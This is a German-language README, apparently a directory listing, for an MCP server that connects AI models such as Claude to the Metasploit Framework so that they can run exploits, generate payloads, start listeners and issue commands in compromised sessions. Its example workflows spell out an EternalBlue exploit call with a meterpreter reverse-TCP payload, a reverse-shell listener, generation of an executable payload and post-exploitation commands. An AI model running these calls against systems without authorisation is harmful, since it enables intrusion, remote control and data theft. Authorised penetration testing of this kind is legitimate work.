Skip to main content
Glama

Metasploit MCP-Server

Ein Model Context Protocol (MCP)-Server für die Metasploit Framework-Integration.

https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1

Beschreibung

Dieser MCP-Server bildet eine Brücke zwischen großen Sprachmodellen wie Claude und der Penetrationstestplattform Metasploit Framework. Er ermöglicht KI-Assistenten den dynamischen Zugriff und die Steuerung von Metasploit-Funktionen über standardisierte Tools und ermöglicht so eine natürlichsprachliche Schnittstelle zu komplexen Sicherheitstest-Workflows.

Related MCP server: MSFConsole MCP Server

Merkmale

Modulinformationen

  • list_exploits : Suchen und Auflisten verfügbarer Metasploit-Exploit-Module

  • list_payloads : Suchen und Auflisten verfügbarer Metasploit-Payload-Module mit optionaler Plattform- und Architekturfilterung

Ausnutzungs-Workflow

  • run_exploit : Konfigurieren und Ausführen eines Exploits gegen ein Ziel mit der Option, zuerst Prüfungen durchzuführen

  • run_auxiliary_module : Führen Sie ein beliebiges Metasploit-Hilfsmodul mit benutzerdefinierten Optionen aus

  • run_post_module : Führen Sie Post-Exploitation-Module für vorhandene Sitzungen aus

Payload-Generierung

  • generate_payload : Generiert Payload-Dateien mit Metasploit RPC (speichert Dateien lokal)

Sitzungsverwaltung

  • list_active_sessions : Zeigt aktuelle Metasploit-Sitzungen mit detaillierten Informationen an

  • send_session_command : Führen Sie einen Befehl in einer aktiven Shell oder Meterpreter-Sitzung aus

  • terminate_session : Beenden Sie eine aktive Sitzung zwangsweise

Handler-Verwaltung

  • list_listeners : Alle aktiven Handler und Hintergrundjobs anzeigen

  • start_listener : Erstellen Sie einen neuen Multi/Handler zum Empfangen von Verbindungen

  • stop_job : Beenden Sie alle laufenden Jobs oder Handler

Voraussetzungen

  • Metasploit Framework installiert und msfrpcd ausgeführt

  • Python 3.10 oder höher

  • Erforderliche Python-Pakete (siehe requirements.txt)

Installation

  1. Dieses Repository klonen

  2. Installieren Sie Abhängigkeiten:

    pip install -r requirements.txt
  3. Umgebungsvariablen konfigurieren (optional):

    MSF_PASSWORD=yourpassword
    MSF_SERVER=127.0.0.1
    MSF_PORT=55553
    MSF_SSL=false
    PAYLOAD_SAVE_DIR=/path/to/save/payloads  # Optional: Where to save generated payloads

Verwendung

Starten Sie den Metasploit RPC-Dienst:

msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553

Transportmöglichkeiten

Der Server unterstützt zwei Transportmethoden:

  • HTTP/SSE (Server-Sent Events) : Standardmodus für die Interoperabilität mit den meisten MCP-Clients

  • STDIO (Standard Input/Output) : Wird mit Claude Desktop und ähnlichen direkten Pipe-Verbindungen verwendet

Sie können den Transportmodus explizit mit dem Flag --transport auswählen:

# Run with HTTP/SSE transport (default)
python MetasploitMCP.py --transport http

# Run with STDIO transport
python MetasploitMCP.py --transport stdio

Zusätzliche Optionen für den HTTP-Modus:

python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

Claude Desktop Integration

Konfigurieren Sie für die Claude Desktop-Integration claude_desktop_config.json :

{
    "mcpServers": {
        "metasploit": {
            "command": "uv",
            "args": [
                "--directory",
                "C:\\path\\to\\MetasploitMCP",
                "run",
                "MetasploitMCP.py",
                "--transport",
                "stdio"
            ],
            "env": {
                "MSF_PASSWORD": "yourpassword"
            }
        }
    }
}

Andere MCP-Clients

Für andere MCP-Clients, die HTTP/SSE verwenden:

  1. Starten Sie den Server im HTTP-Modus:

    python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
  2. Konfigurieren Sie Ihren MCP-Client für die Verbindung mit:

    • SSE-Endpunkt: http://your-server-ip:8085/sse

Sicherheitsüberlegungen

⚠️ WICHTIGER SICHERHEITSHINWEIS :

Dieses Tool bietet direkten Zugriff auf die Funktionen des Metasploit Frameworks, einschließlich leistungsstarker Exploit-Funktionen. Verwenden Sie es verantwortungsbewusst und nur in Umgebungen, in denen Sie die ausdrückliche Berechtigung zur Durchführung von Sicherheitstests haben.

  • Überprüfen Sie alle Befehle vor der Ausführung.

  • Nur in getrennten Testumgebungen oder mit entsprechender Autorisierung ausführen

  • Beachten Sie, dass Post-Exploitation-Befehle zu erheblichen Systemänderungen führen können

Beispiel-Workflows

Grundlegende Ausbeutung

  1. Liste der verfügbaren Exploits: list_exploits("ms17_010")

  2. Wählen Sie einen Exploit aus und führen Sie ihn aus: run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})

  3. Sitzungen auflisten: list_active_sessions()

  4. Befehle ausführen: send_session_command(1, "whoami")

Nach der Ausbeutung

  1. Führen Sie ein Postmodul aus: run_post_module("windows/gather/enum_logged_on_users", 1)

  2. Senden Sie benutzerdefinierte Befehle: send_session_command(1, "sysinfo")

  3. Beenden, wenn fertig: terminate_session(1)

Handler-Verwaltung

  1. Starten Sie einen Listener: start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)

  2. Aktive Handler auflisten: list_listeners()

  3. Generieren Sie eine Nutzlast: generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})

  4. Stoppen Sie einen Handler: stop_job(1)

Konfigurationsoptionen

Payload-Speicherverzeichnis

Standardmäßig werden mit generate_payload generierte Payloads in einem payloads -Verzeichnis in Ihrem Home-Ordner ( ~/payloads oder C:\Users\YourUsername\payloads ) gespeichert. Sie können diesen Speicherort anpassen, indem Sie die Umgebungsvariable PAYLOAD_SAVE_DIR festlegen.

Festlegen der Umgebungsvariable:

  • Windows (PowerShell) :

    $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
  • Windows (Eingabeaufforderung) :

    set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
  • Linux/macOS :

    export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
  • In der Claude Desktop-Konfiguration :

    "env": {
        "MSF_PASSWORD": "yourpassword",
        "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads"  // Only add if you want to override the default
    }

Hinweis: Wenn Sie einen benutzerdefinierten Pfad angeben, stellen Sie sicher, dass dieser vorhanden ist oder die Anwendung über die Berechtigung zum Erstellen verfügt. Bei einem ungültigen Pfad kann die Payload-Generierung fehlschlagen.

Lizenz

Apache 2.0

A
license - permissive license
Not graded
quality - not tested
F
maintenance

Maintenance

Maintainers
Response time
Release cycle
Releases (12mo)
Commit activity
Issues opened vs closed

Resources

Unclaimed servers have limited discoverability.

Looking for Admin?

If you are the server author, to access and configure the admin panel.

Related MCP Servers

  • -
    license
    Not graded
    quality
    Not graded
    maintenance
    Enables AI assistants to interact with Metasploit Framework through 28 comprehensive tools for penetration testing and security analysis. Provides secure, structured access to MSF modules, database operations, session management, and payload generation capabilities.
    2
  • A
    license
    Not graded
    quality
    D
    maintenance
    Bridges large language models with the Metasploit Framework to enable natural language control over penetration testing workflows. It provides tools for searching modules, executing exploits, generating payloads, and managing active sessions.
    1
    Apache 2.0
  • F
    license
    Not graded
    quality
    D
    maintenance
    Provides AI assistants with secure access to Metasploit Framework functionality through a standardized interface, enabling commands, exploit search, module info, and scanning.
    2

View all related MCP servers

Related MCP Connectors

  • MCP server for Pentest-Tools.com: run scans, manage findings and reports via your preffered LLM.

  • MEOK MCP Hardening MCP — automated security red-team for any MCP server. Maps OWASP LLM Top 10

  • A comprehensive Model Context Protocol (MCP) server that enables AI assistants to interact with yo…

View all MCP Connectors

Latest Blog Posts

MCP directory API

We provide all the information about MCP servers via our MCP API.

curl -X GET 'https://glama.ai/api/mcp/v1/servers/GH05TCREW/MetasploitMCP'

If you have feedback or need assistance with the MCP directory API, please join our Discord server